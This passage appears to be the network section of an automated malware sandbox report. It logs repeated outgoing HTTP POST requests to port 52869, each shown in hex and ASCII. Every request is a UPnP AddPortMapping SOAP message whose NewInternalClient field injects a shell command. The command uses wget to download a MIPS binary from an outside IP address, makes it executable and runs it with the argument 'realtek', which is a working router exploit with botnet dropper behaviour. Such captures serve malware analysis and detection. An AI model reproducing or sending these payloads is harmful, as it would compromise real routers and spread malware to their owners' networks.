6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:35.417696953 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:37.209759951 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:40.857603073 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:48.025481939 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:02.361026049 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:31.800065041 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      79192.168.2.154718445.121.215.452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:33.924798012 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
